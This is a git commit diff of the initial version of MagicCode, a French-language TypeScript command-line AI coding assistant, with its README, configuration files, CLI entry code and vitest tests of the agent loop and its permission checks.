Initial commit
This commit is contained in:
commit
bfcd56cd36
66 changed files with 5670 additions and 0 deletions
5
.gitignore
vendored
Normal file
5
.gitignore
vendored
Normal file
|
|
@ -0,0 +1,5 @@
|
||||||
|
node_modules
|
||||||
|
dist
|
||||||
|
*.log
|
||||||
|
.env
|
||||||
|
btp_AI.json
|
||||||
93
README.md
Normal file
93
README.md
Normal file
|
|
@ -0,0 +1,93 @@
|
||||||
|
# MagicCode
|
||||||
|
|
||||||
|
Assistant IA en ligne de commande. Le **mode** (comportement de l'agent) vient d'une **extension**,
|
||||||
|
le **LLM** se choisit indépendamment, l'interface utilise **Clack**.
|
||||||
|
|
||||||
|
## Démarrer
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pnpm install
|
||||||
|
cp btp_AI_tpl.json btp_AI.json # puis renseigner url, basic, serviceurls.AI_API_URL
|
||||||
|
pnpm dev # mode claudecode ; le modèle est choisi dans la liste au démarrage
|
||||||
|
pnpm dev -- --model sapaicore:anthropic--claude-4.5-sonnet
|
||||||
|
pnpm dev -- --model anthropic:opus # API Anthropic directe (ANTHROPIC_API_KEY)
|
||||||
|
pnpm test # test de la boucle agent (provider factice)
|
||||||
|
pnpm build && node packages/cli/dist/index.js
|
||||||
|
```
|
||||||
|
|
||||||
|
## Lancer MagicCode depuis un autre dossier
|
||||||
|
|
||||||
|
`pnpm dev` s'exécute depuis la racine du dépôt : le dossier de travail est alors cette racine (`./btp_AI.json`, `./CLAUDE.md`… y sont cherchés).
|
||||||
|
Pour utiliser MagicCode sur un autre projet `./X`, lancez-le depuis `./X` :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pnpm build
|
||||||
|
cd packages/cli && pnpm link --global # une fois : installe la commande `magiccode`
|
||||||
|
cd ~/X && magiccode # le dossier de travail est ~/X
|
||||||
|
# ou sans installer : cd ~/X && node /chemin/vers/magiccode/packages/cli/dist/index.js
|
||||||
|
# ou en développement : MAGICCODE_CWD=~/X pnpm --dir /chemin/vers/magiccode dev
|
||||||
|
```
|
||||||
|
|
||||||
|
Pourquoi pas `pnpm --filter … dev` : pnpm exécute alors le script depuis `packages/cli`, pas depuis le dossier où vous avez tapé la commande. MagicCode
|
||||||
|
tient compte de `MAGICCODE_CWD`, puis de `INIT_CWD` (dossier où pnpm/npm a été lancé), puis de `process.cwd()`.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
| Paquet | Rôle |
|
||||||
|
| --- | --- |
|
||||||
|
| `core` | Contrats (`LLMProvider`, `AgentMode`, `Extension`, `Tool`, `AgentUI`), boucle agent, registre, chargement des extensions |
|
||||||
|
| `providers` | Adaptateurs LLM : `sapaicore` (premier provider, voir ci-dessous), `anthropic` (direct), `openai` et `ollama` (à faire) |
|
||||||
|
| `ui` | Interface Clack (saisies, spinner, confirmations) |
|
||||||
|
| `ext-claudecode` | Mode par défaut : CLAUDE.md, dossiers `.claude` (settings, commandes, skills) + outils Read/Glob/Grep/Write/Edit/Bash |
|
||||||
|
| `cli` | Point d'entrée : configuration, extensions, boucle de conversation |
|
||||||
|
|
||||||
|
Résolution du mode et du modèle (le modèle n'a pas de défaut : s'il n'est pas défini, il est demandé) : flags CLI > variables `MAGICCODE_MODE` / `MAGICCODE_MODEL`
|
||||||
|
> `.magiccode/config.json` (projet) > `~/.magiccode/config.json` > défauts.
|
||||||
|
|
||||||
|
Extensions tierces : `~/.magiccode/extensions/<nom>/index.js` (export default d'un objet `Extension`).
|
||||||
|
|
||||||
|
## Dossier de base
|
||||||
|
|
||||||
|
Le dossier où MagicCode est lancé (ex. `./X`) est la base de **tous** les chemins relatifs : fichiers lus, créés ou modifiés par les outils
|
||||||
|
(Read, Write, Edit, Glob, Grep, Bash), `./btp_AI.json`, `.magiccode/config.json`, `CLAUDE.md` et `.claude/`. Un chemin complet est utilisé tel quel
|
||||||
|
(`~/…` désigne le dossier personnel). Ce dossier est capturé une fois au démarrage, affiché (« Dossier de travail : … ») et transmis aux outils et aux providers ;
|
||||||
|
les règles de permissions (`Read(./.env)`, `Edit(src/**)`) sont elles aussi relatives à ce dossier. Seuls `~/.claude` et `~/.magiccode` (config et extensions utilisateur) sont lus depuis le dossier personnel.
|
||||||
|
|
||||||
|
## Skills : appel direct avec `§`
|
||||||
|
|
||||||
|
Quel que soit le mode chargé, `§nom_du_skill [arguments]` lance un skill de l'agent (ex. `§sk_test`) ; `§` seul liste les skills disponibles.
|
||||||
|
Chaque mode expose ses skills via `ModeInitResult.skills` (contrat `AgentSkill` : `name`, `description`, `invoke(args)`), ce qui
|
||||||
|
rend l'appel indépendant du format propre à l'agent. `invoke` retourne le prompt envoyé au LLM. En mode ClaudeCode, ce prompt contient
|
||||||
|
les instructions du `SKILL.md` (avec `$ARGUMENTS` / `ARGUMENTS:`), sans passer par l'outil `Skill` du modèle. Les extensions Copilot, opencode, etc.
|
||||||
|
n'ont qu'à renvoyer leurs propres skills sous cette forme.
|
||||||
|
|
||||||
|
## Provider SAP AI Core / Generative AI Hub
|
||||||
|
|
||||||
|
Configuration : `./btp_AI.json` (ou `$MAGICCODE_BTP_CONFIG`), modèle fourni dans `btp_AI_tpl.json`.
|
||||||
|
Ne jamais versionner ce fichier (il est dans `.gitignore`).
|
||||||
|
|
||||||
|
1. OAuth client_credentials : `GET {url}/oauth/token` avec `Authorization: Basic {basic}` (token mis en cache, renouvelé sur expiration ou HTTP 401).
|
||||||
|
2. Découverte : `GET {AI_API_URL}/v2/lm/deployments` (header `AI-Resource-Group`, `default` sauf `resourceGroup` dans le JSON).
|
||||||
|
3. Appel du modèle sur son `deploymentUrl` selon la famille : Claude → `/converse` (Bedrock), GPT → `/chat/completions` (Azure OpenAI). Les autres familles (Gemini, embeddings…) sont ignorées.
|
||||||
|
|
||||||
|
Choix du modèle : au démarrage (sauf si `--model`, `MAGICCODE_MODEL` ou une config le définit), MagicCode interroge
|
||||||
|
tous les providers (déploiements SAP AI Core, et API Anthropic si `ANTHROPIC_API_KEY` est définie) et demande de choisir
|
||||||
|
le modèle de la session. `/model` rouvre cette liste en cours de session (la conversation est conservée).
|
||||||
|
Un provider injoignable donne un avertissement sans bloquer les autres. Spécification explicite : `sapaicore:<nom du déploiement>`.
|
||||||
|
|
||||||
|
## Extension ClaudeCode : dossiers `.claude` (lot 2)
|
||||||
|
|
||||||
|
Les dossiers `.claude` sont lus dans cet ordre (le plus spécifique l'emporte) : `~/.claude`, puis ceux de la racine jusqu'au dossier courant.
|
||||||
|
|
||||||
|
- **`settings.json` / `settings.local.json`** : `permissions.allow|ask|deny` au format Claude Code (`Bash(npm run test:*)`, `Edit(src/**)`, `Read(./.env)`, `Write`) et `env` (transmis à Bash). Priorité deny > ask > allow. Pour Bash, une règle allow ne couvre une commande composée (`&&`, `;`, `|`) que si chaque partie est autorisée, et jamais une commande avec redirection ou substitution (`>`, `$(…)`, backticks). Les règles deny sont du « meilleur effort » : elles ne remplacent pas un vrai bac à sable.
|
||||||
|
- **`commands/**/*.md`** : slash-commandes. `$ARGUMENTS`, `$1`…`$9` ; en-tête `description` et `argument-hint`. Un sous-dossier préfixe le nom (`commands/git/commit.md` → `/git:commit`). Les noms `help`, `clear`, `mode`, `model`, `exit` sont réservés.
|
||||||
|
- **`skills/<nom>/SKILL.md`** : en-tête `name` et `description`. Seule la liste est mise dans le prompt ; le contenu est chargé à la demande par l'outil `Skill`.
|
||||||
|
|
||||||
|
## Reste à faire
|
||||||
|
|
||||||
|
- Provider SAP AI Core : streaming (actuellement une réponse complète par appel), autres familles (Gemini), validation sur un vrai service
|
||||||
|
|
||||||
|
- `ext-claudecode` : lots 1 et 2 terminés (Glob/Grep en JS pur sans ripgrep ; à l'initialisation, ce qui est trouvé et chargé est listé, sinon un avertissement). Pas encore gérés dans les commandes : `allowed-tools`, `model`, `@fichier`, `!`commande``
|
||||||
|
- `ext-claudecode` lot 3 : TodoWrite, WebFetch, sous-agents, hooks, MCP
|
||||||
|
- Providers OpenAI et Ollama
|
||||||
|
- Sessions (reprise), compaction du contexte, annulation (AbortSignal) depuis l'UI
|
||||||
8
btp_AI_tpl.json
Normal file
8
btp_AI_tpl.json
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
{
|
||||||
|
"url": "https://<subdomain>.authentication.<region>.hana.ondemand.com",
|
||||||
|
"basic": "<base64(clientid:clientsecret)>",
|
||||||
|
"serviceurls": {
|
||||||
|
"AI_API_URL": "https://api.ai.<...>.ml.hana.ondemand.com"
|
||||||
|
},
|
||||||
|
"resourceGroup": "default"
|
||||||
|
}
|
||||||
22
package.json
Normal file
22
package.json
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
{
|
||||||
|
"name": "magiccode-monorepo",
|
||||||
|
"private": true,
|
||||||
|
"type": "module",
|
||||||
|
"packageManager": "pnpm@9.12.0",
|
||||||
|
"engines": {
|
||||||
|
"node": ">=20"
|
||||||
|
},
|
||||||
|
"scripts": {
|
||||||
|
"dev": "tsx packages/cli/src/index.ts",
|
||||||
|
"build": "pnpm --filter @magiccode/cli build",
|
||||||
|
"typecheck": "pnpm -r typecheck",
|
||||||
|
"test": "vitest run"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/node": "^22.0.0",
|
||||||
|
"tsup": "^8.3.0",
|
||||||
|
"tsx": "^4.19.0",
|
||||||
|
"typescript": "^5.6.0",
|
||||||
|
"vitest": "^2.1.0"
|
||||||
|
}
|
||||||
|
}
|
||||||
26
packages/cli/package.json
Normal file
26
packages/cli/package.json
Normal file
|
|
@ -0,0 +1,26 @@
|
||||||
|
{
|
||||||
|
"name": "@magiccode/cli",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"type": "module",
|
||||||
|
"bin": {
|
||||||
|
"magiccode": "dist/index.js"
|
||||||
|
},
|
||||||
|
"scripts": {
|
||||||
|
"dev": "tsx src/index.ts",
|
||||||
|
"build": "tsup",
|
||||||
|
"typecheck": "tsc -p ."
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@anthropic-ai/sdk": "^0.40.0",
|
||||||
|
"@clack/prompts": "^0.9.0",
|
||||||
|
"@magiccode/core": "workspace:*",
|
||||||
|
"@magiccode/ext-claudecode": "workspace:*",
|
||||||
|
"@magiccode/providers": "workspace:*",
|
||||||
|
"@magiccode/ui": "workspace:*",
|
||||||
|
"ignore": "^6.0.2",
|
||||||
|
"picomatch": "^3.0.1"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/picomatch": "^3.0.1"
|
||||||
|
}
|
||||||
|
}
|
||||||
35
packages/cli/src/config.ts
Normal file
35
packages/cli/src/config.ts
Normal file
|
|
@ -0,0 +1,35 @@
|
||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
import { join } from "node:path";
|
||||||
|
|
||||||
|
export interface MagicCodeConfig {
|
||||||
|
mode?: string;
|
||||||
|
model?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const DEFAULT_MODE = "claudecode"; // mode par défaut : extension ClaudeCode
|
||||||
|
|
||||||
|
async function readJson(path: string): Promise<MagicCodeConfig> {
|
||||||
|
try {
|
||||||
|
return JSON.parse(await readFile(path, "utf8")) as MagicCodeConfig;
|
||||||
|
} catch {
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Priorité : flags CLI > variables d'environnement > config projet > config utilisateur > défauts. */
|
||||||
|
export async function resolveConfig(opts: {
|
||||||
|
cwd: string;
|
||||||
|
homeDir: string;
|
||||||
|
flags: MagicCodeConfig;
|
||||||
|
}): Promise<{ mode: string; model?: string }> {
|
||||||
|
const user = await readJson(join(opts.homeDir, ".magiccode", "config.json"));
|
||||||
|
const project = await readJson(join(opts.cwd, ".magiccode", "config.json"));
|
||||||
|
const env: MagicCodeConfig = {
|
||||||
|
mode: process.env.MAGICCODE_MODE,
|
||||||
|
model: process.env.MAGICCODE_MODEL,
|
||||||
|
};
|
||||||
|
const pick = (k: keyof MagicCodeConfig): string | undefined =>
|
||||||
|
opts.flags[k] ?? env[k] ?? project[k] ?? user[k];
|
||||||
|
// Pas de modèle par défaut : s'il n'est pas défini explicitement, l'utilisateur le choisit au démarrage.
|
||||||
|
return { mode: pick("mode") ?? DEFAULT_MODE, model: pick("model") };
|
||||||
|
}
|
||||||
232
packages/cli/src/index.ts
Normal file
232
packages/cli/src/index.ts
Normal file
|
|
@ -0,0 +1,232 @@
|
||||||
|
import { homedir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
import { parseArgs } from "node:util";
|
||||||
|
import {
|
||||||
|
ModeRegistry,
|
||||||
|
activateExtensions,
|
||||||
|
createSession,
|
||||||
|
discoverUserExtensions,
|
||||||
|
findSkill,
|
||||||
|
parseSkillInvocation,
|
||||||
|
runTurn,
|
||||||
|
type AgentSession,
|
||||||
|
} from "@magiccode/core";
|
||||||
|
import { claudeCodeExtension } from "@magiccode/ext-claudecode";
|
||||||
|
import { createProvider, loadModelChoices } from "@magiccode/providers";
|
||||||
|
import { ClackUI } from "@magiccode/ui";
|
||||||
|
import { resolveConfig } from "./config";
|
||||||
|
import { resolveLaunchDir } from "./launch-dir";
|
||||||
|
|
||||||
|
const HELP = `MagicCode — assistant IA en ligne de commande
|
||||||
|
|
||||||
|
Usage : magiccode [options]
|
||||||
|
--mode <id> Mode de fonctionnement (défaut : claudecode)
|
||||||
|
--model <spec> Modèle de la session, ex. sapaicore:anthropic--claude-4.5-sonnet
|
||||||
|
Sans cette option, la liste des modèles disponibles est proposée au démarrage.
|
||||||
|
-h, --help Affiche cette aide
|
||||||
|
|
||||||
|
Commandes en session : /help /mode /model /clear /exit
|
||||||
|
Skills de l'agent : §nom_du_skill [arguments] (§ seul : liste des skills)`;
|
||||||
|
|
||||||
|
async function main(): Promise<void> {
|
||||||
|
const { values } = parseArgs({
|
||||||
|
options: {
|
||||||
|
mode: { type: "string" },
|
||||||
|
model: { type: "string" },
|
||||||
|
help: { type: "boolean", short: "h" },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
if (values.help) {
|
||||||
|
console.log(HELP);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dossier de lancement (voir launch-dir.ts) : base de tous les chemins relatifs
|
||||||
|
const cwd = resolveLaunchDir();
|
||||||
|
try {
|
||||||
|
process.chdir(cwd);
|
||||||
|
} catch (err) {
|
||||||
|
console.error(`Dossier de lancement inaccessible : ${cwd} (${(err as Error).message})`);
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const homeDir = homedir();
|
||||||
|
const ui = new ClackUI();
|
||||||
|
|
||||||
|
// 1. Extensions : ClaudeCode est embarquée et toujours activée, les autres viennent de ~/.magiccode/extensions
|
||||||
|
const registry = new ModeRegistry();
|
||||||
|
const userExtensions = await discoverUserExtensions(join(homeDir, ".magiccode", "extensions"));
|
||||||
|
await activateExtensions(registry, [claudeCodeExtension, ...userExtensions], (m) => ui.error(m));
|
||||||
|
|
||||||
|
// 2. Configuration
|
||||||
|
const config = await resolveConfig({
|
||||||
|
cwd,
|
||||||
|
homeDir,
|
||||||
|
flags: { mode: values.mode, model: values.model },
|
||||||
|
});
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Charge les modèles disponibles auprès de tous les providers, puis demande à l'utilisateur
|
||||||
|
* d'en choisir un. Retourne null si rien n'est disponible ou si l'utilisateur annule.
|
||||||
|
*/
|
||||||
|
const pickModel = async (current?: string): Promise<string | null> => {
|
||||||
|
const { choices, errors } = await ui.withSpinner(
|
||||||
|
"Chargement des modèles disponibles…",
|
||||||
|
() => loadModelChoices({ baseDir: cwd }),
|
||||||
|
"Modèles chargés",
|
||||||
|
);
|
||||||
|
for (const e of errors) ui.warn(e);
|
||||||
|
if (choices.length === 0) {
|
||||||
|
ui.error(
|
||||||
|
"Aucun modèle disponible. Renseignez ./btp_AI.json (SAP AI Core) ou définissez ANTHROPIC_API_KEY.",
|
||||||
|
);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return ui.select("Modèle", choices, current);
|
||||||
|
};
|
||||||
|
|
||||||
|
const startSession = async (modeId: string, modelSpec: string): Promise<AgentSession> => {
|
||||||
|
const mode = registry.getMode(modeId);
|
||||||
|
if (!mode) {
|
||||||
|
const ids = registry.listModes().map((m) => m.id).join(", ");
|
||||||
|
throw new Error(`Mode inconnu : "${modeId}" (disponibles : ${ids})`);
|
||||||
|
}
|
||||||
|
const init = await mode.initialize({
|
||||||
|
cwd,
|
||||||
|
homeDir,
|
||||||
|
log: (m) => ui.info(m),
|
||||||
|
warn: (m) => ui.warn(m),
|
||||||
|
});
|
||||||
|
return createSession({ provider: createProvider(modelSpec, { baseDir: cwd }), init, ui, cwd });
|
||||||
|
};
|
||||||
|
|
||||||
|
ui.intro("MagicCode");
|
||||||
|
// Dossier de lancement : base de tous les chemins relatifs (fichiers lus, créés, configuration)
|
||||||
|
ui.info(`Dossier de travail : ${cwd}`);
|
||||||
|
|
||||||
|
// 3. Modèle de la session : explicite (flag, variable d'environnement, config) sinon choisi par l'utilisateur
|
||||||
|
let modelSpec = config.model;
|
||||||
|
if (!modelSpec) {
|
||||||
|
const picked = await pickModel();
|
||||||
|
if (!picked) {
|
||||||
|
ui.outro("Aucun modèle choisi");
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
modelSpec = picked;
|
||||||
|
}
|
||||||
|
|
||||||
|
let modeId = config.mode;
|
||||||
|
let session: AgentSession;
|
||||||
|
try {
|
||||||
|
session = await startSession(modeId, modelSpec);
|
||||||
|
} catch (err) {
|
||||||
|
ui.error((err as Error).message);
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ui.info(`Mode : ${modeId} · Modèle : ${modelSpec}`);
|
||||||
|
|
||||||
|
// 4. Boucle de conversation
|
||||||
|
for (;;) {
|
||||||
|
const input = await ui.readInput();
|
||||||
|
if (input === null || input === "/exit") break;
|
||||||
|
if (!input) continue;
|
||||||
|
|
||||||
|
let prompt = input;
|
||||||
|
|
||||||
|
const skillCall = parseSkillInvocation(input);
|
||||||
|
if (skillCall) {
|
||||||
|
// Appel direct d'un skill de l'agent chargé : §nom [arguments]
|
||||||
|
if (!skillCall.name) {
|
||||||
|
ui.info(
|
||||||
|
session.skills.length > 0
|
||||||
|
? ["Skills disponibles :", ...session.skills.map((s) => ` §${s.name} — ${s.description}`)].join("\n")
|
||||||
|
: "Aucun skill disponible pour ce mode.",
|
||||||
|
);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const skill = findSkill(session.skills, skillCall.name);
|
||||||
|
if (!skill) {
|
||||||
|
const names = session.skills.map((s) => `§${s.name}`).join(", ") || "aucun";
|
||||||
|
ui.error(`Skill inconnu : §${skillCall.name} (disponibles : ${names})`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
prompt = await skill.invoke(skillCall.args);
|
||||||
|
} catch (err) {
|
||||||
|
ui.error(`Échec du lancement du skill §${skill.name} : ${(err as Error).message}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
ui.info(`Skill lancé : §${skill.name}`);
|
||||||
|
} else if (input.startsWith("/")) {
|
||||||
|
const [name = "", ...rest] = input.slice(1).split(" ");
|
||||||
|
const args = rest.join(" ");
|
||||||
|
|
||||||
|
if (name === "help") {
|
||||||
|
const custom = session.commands.map(
|
||||||
|
(c) => `/${c.name}${c.argumentHint ? ` ${c.argumentHint}` : ""} — ${c.description}`,
|
||||||
|
);
|
||||||
|
const skills = session.skills.map((s) => `§${s.name} — ${s.description}`);
|
||||||
|
ui.info([HELP, ...custom, ...skills].join("\n"));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (name === "clear") {
|
||||||
|
session.messages.length = 0;
|
||||||
|
ui.info("Conversation réinitialisée");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (name === "mode") {
|
||||||
|
const choice = await ui.select(
|
||||||
|
"Mode de fonctionnement",
|
||||||
|
registry.listModes().map((m) => ({ value: m.id, label: m.name, hint: m.description })),
|
||||||
|
modeId,
|
||||||
|
);
|
||||||
|
if (choice) {
|
||||||
|
try {
|
||||||
|
session = await startSession(choice, modelSpec);
|
||||||
|
modeId = choice;
|
||||||
|
ui.info(`Mode actif : ${modeId} (conversation réinitialisée)`);
|
||||||
|
} catch (err) {
|
||||||
|
ui.error((err as Error).message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (name === "model") {
|
||||||
|
// Recharge la liste (les déploiements ont pu changer) ; la conversation en cours est conservée.
|
||||||
|
const choice = await pickModel(modelSpec);
|
||||||
|
if (choice && choice !== modelSpec) {
|
||||||
|
try {
|
||||||
|
session.provider = createProvider(choice, { baseDir: cwd });
|
||||||
|
modelSpec = choice;
|
||||||
|
ui.info(`Modèle actif : ${modelSpec}`);
|
||||||
|
} catch (err) {
|
||||||
|
ui.error((err as Error).message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const custom = session.commands.find((c) => c.name === name);
|
||||||
|
if (!custom) {
|
||||||
|
ui.error(`Commande inconnue : /${name}`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
prompt = custom.prompt(args);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
await runTurn(session, prompt);
|
||||||
|
} catch (err) {
|
||||||
|
ui.error((err as Error).message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ui.outro("À bientôt");
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((err) => {
|
||||||
|
console.error(err);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
22
packages/cli/src/launch-dir.test.ts
Normal file
22
packages/cli/src/launch-dir.test.ts
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { resolveLaunchDir } from "./launch-dir";
|
||||||
|
|
||||||
|
describe("resolveLaunchDir", () => {
|
||||||
|
const pkg = "/repo/packages/cli";
|
||||||
|
|
||||||
|
it("lancement direct : process.cwd()", () => {
|
||||||
|
expect(resolveLaunchDir({}, "/home/u/X")).toBe("/home/u/X");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("via pnpm : INIT_CWD l'emporte sur le dossier du paquet", () => {
|
||||||
|
expect(resolveLaunchDir({ INIT_CWD: "/repo" }, pkg)).toBe("/repo");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("MAGICCODE_CWD l'emporte sur INIT_CWD", () => {
|
||||||
|
expect(resolveLaunchDir({ MAGICCODE_CWD: "/work/X", INIT_CWD: "/repo" }, pkg)).toBe("/work/X");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("MAGICCODE_CWD relatif : résolu depuis le dossier courant", () => {
|
||||||
|
expect(resolveLaunchDir({ MAGICCODE_CWD: "../X" }, "/home/u/Y")).toBe("/home/u/X");
|
||||||
|
});
|
||||||
|
});
|
||||||
17
packages/cli/src/launch-dir.ts
Normal file
17
packages/cli/src/launch-dir.ts
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
import { resolve } from "node:path";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Dossier de lancement de MagicCode = base de tous les chemins relatifs.
|
||||||
|
*
|
||||||
|
* pnpm/npm exécutent les scripts depuis le dossier du paquet (ex. packages/cli) et non depuis le dossier
|
||||||
|
* où la commande a été tapée : process.cwd() n'est alors pas le bon dossier. Priorité :
|
||||||
|
* 1. MAGICCODE_CWD : choix explicite ;
|
||||||
|
* 2. INIT_CWD : dossier où pnpm/npm a été lancé ;
|
||||||
|
* 3. process.cwd() : lancement direct (binaire `magiccode`, `node …/dist/index.js`).
|
||||||
|
*/
|
||||||
|
export function resolveLaunchDir(
|
||||||
|
env: NodeJS.ProcessEnv = process.env,
|
||||||
|
cwd: string = process.cwd(),
|
||||||
|
): string {
|
||||||
|
return resolve(cwd, env.MAGICCODE_CWD || env.INIT_CWD || ".");
|
||||||
|
}
|
||||||
4
packages/cli/tsconfig.json
Normal file
4
packages/cli/tsconfig.json
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
{
|
||||||
|
"extends": "../../tsconfig.base.json",
|
||||||
|
"include": ["src"]
|
||||||
|
}
|
||||||
11
packages/cli/tsup.config.ts
Normal file
11
packages/cli/tsup.config.ts
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
import { defineConfig } from "tsup";
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
entry: ["src/index.ts"],
|
||||||
|
format: ["esm"],
|
||||||
|
target: "node20",
|
||||||
|
clean: true,
|
||||||
|
// Les paquets du workspace sont embarqués dans le bundle ; les dépendances npm restent externes.
|
||||||
|
noExternal: [/^@magiccode\//],
|
||||||
|
banner: { js: "#!/usr/bin/env node" },
|
||||||
|
});
|
||||||
8
packages/core/package.json
Normal file
8
packages/core/package.json
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
{
|
||||||
|
"name": "@magiccode/core",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"type": "module",
|
||||||
|
"main": "src/index.ts",
|
||||||
|
"types": "src/index.ts",
|
||||||
|
"scripts": { "typecheck": "tsc -p ." }
|
||||||
|
}
|
||||||
103
packages/core/src/agent.test.ts
Normal file
103
packages/core/src/agent.test.ts
Normal file
|
|
@ -0,0 +1,103 @@
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { createSession, runTurn } from "./agent";
|
||||||
|
import type { AgentUI, LLMProvider, PermissionPolicy, StreamEvent, Tool } from "./types";
|
||||||
|
|
||||||
|
const silentUI: AgentUI = {
|
||||||
|
onThinking() {},
|
||||||
|
onText() {},
|
||||||
|
onTextEnd() {},
|
||||||
|
onToolCall() {},
|
||||||
|
onToolResult() {},
|
||||||
|
confirm: async () => true,
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Provider factice : 1er appel → demande d'outil, 2e appel → réponse texte. */
|
||||||
|
function fakeProvider(toolName = "echo"): LLMProvider {
|
||||||
|
let call = 0;
|
||||||
|
return {
|
||||||
|
id: "fake",
|
||||||
|
model: "fake",
|
||||||
|
capabilities: { tools: true },
|
||||||
|
async *chat(): AsyncIterable<StreamEvent> {
|
||||||
|
call++;
|
||||||
|
if (call === 1) {
|
||||||
|
yield { type: "tool_use", id: "t1", name: toolName, input: { value: "salut" } };
|
||||||
|
yield { type: "done", stopReason: "tool_use" };
|
||||||
|
} else {
|
||||||
|
yield { type: "text_delta", text: "terminé" };
|
||||||
|
yield { type: "done", stopReason: "end_turn" };
|
||||||
|
}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("runTurn", () => {
|
||||||
|
it("exécute l'outil demandé puis renvoie la réponse finale", async () => {
|
||||||
|
const echo: Tool = {
|
||||||
|
spec: { name: "echo", description: "echo", inputSchema: { type: "object" } },
|
||||||
|
permission: "auto",
|
||||||
|
execute: async (input) => String(input.value),
|
||||||
|
};
|
||||||
|
const session = createSession({
|
||||||
|
provider: fakeProvider(),
|
||||||
|
init: { systemPrompt: "test", tools: [echo] },
|
||||||
|
ui: silentUI,
|
||||||
|
cwd: process.cwd(),
|
||||||
|
});
|
||||||
|
|
||||||
|
await runTurn(session, "bonjour");
|
||||||
|
|
||||||
|
// user, assistant(tool_use), user(tool_result), assistant(texte)
|
||||||
|
expect(session.messages).toHaveLength(4);
|
||||||
|
expect(session.messages[2]?.content[0]).toMatchObject({
|
||||||
|
type: "tool_result",
|
||||||
|
content: "salut",
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("politique de permissions", () => {
|
||||||
|
const makeTool = (ran: string[]): Tool => ({
|
||||||
|
spec: { name: "danger", description: "d", inputSchema: { type: "object" } },
|
||||||
|
permission: "ask",
|
||||||
|
execute: async () => {
|
||||||
|
ran.push("x");
|
||||||
|
return "ok";
|
||||||
|
},
|
||||||
|
});
|
||||||
|
const policy = (decision: "allow" | "ask" | "deny"): PermissionPolicy => ({
|
||||||
|
check: () => ({ decision, reason: "règle de test" }),
|
||||||
|
});
|
||||||
|
|
||||||
|
async function run(decision: "allow" | "ask" | "deny", answer: boolean) {
|
||||||
|
const ran: string[] = [];
|
||||||
|
const confirms: string[] = [];
|
||||||
|
const session = createSession({
|
||||||
|
provider: fakeProvider("danger"),
|
||||||
|
init: { systemPrompt: "t", tools: [makeTool(ran)], permissions: policy(decision) },
|
||||||
|
ui: { ...silentUI, confirm: async (m) => (confirms.push(m), answer) },
|
||||||
|
cwd: process.cwd(),
|
||||||
|
});
|
||||||
|
await runTurn(session, "go");
|
||||||
|
return { ran, confirms, session };
|
||||||
|
}
|
||||||
|
|
||||||
|
it("allow : exécute sans confirmation", async () => {
|
||||||
|
const { ran, confirms } = await run("allow", false);
|
||||||
|
expect(ran).toHaveLength(1);
|
||||||
|
expect(confirms).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("deny : refuse sans demander", async () => {
|
||||||
|
const { ran, confirms, session } = await run("deny", true);
|
||||||
|
expect(ran).toHaveLength(0);
|
||||||
|
expect(confirms).toHaveLength(0);
|
||||||
|
expect(session.messages[2]?.content[0]).toMatchObject({ type: "tool_result", isError: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
it("ask : demande confirmation même pour un outil automatique", async () => {
|
||||||
|
const { ran, confirms } = await run("ask", true);
|
||||||
|
expect(confirms).toHaveLength(1);
|
||||||
|
expect(ran).toHaveLength(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
153
packages/core/src/agent.ts
Normal file
